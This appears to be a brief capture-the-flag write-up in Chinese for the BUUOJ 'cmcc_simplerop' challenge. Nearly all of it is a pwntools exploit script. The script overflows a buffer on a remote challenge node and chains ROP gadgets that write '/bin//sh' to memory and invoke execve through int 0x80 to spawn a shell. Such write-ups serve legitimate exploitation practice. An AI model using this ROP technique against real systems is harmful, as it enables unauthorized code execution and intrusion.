cmcc_simplerop

思路

明显rop可以用工具但是需要自己调一下长度emem
exp:

from pwn import *
from struct import pack
#io=process('./simplerop')
io=remote('node3.buuoj.cn',27913)
io.recvuntil(':')
# Padding goes here
p = 'a'*0x14+p32(1)*3
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e850) # pop edx pop ecx pop edx; ret
p += pack('<I', 0x0)
p += pack('<I', 0x0)
p += pack('<I', 0x080ea060) #bin/sh
p += pack('<I', 0x080bae06) #pop eax
p += pack('<I', 0xb)        # eax=0xb
p += pack('<I', 0x080493e1) #int 80
io.send(p)
io.interactive()
print hex(len(p))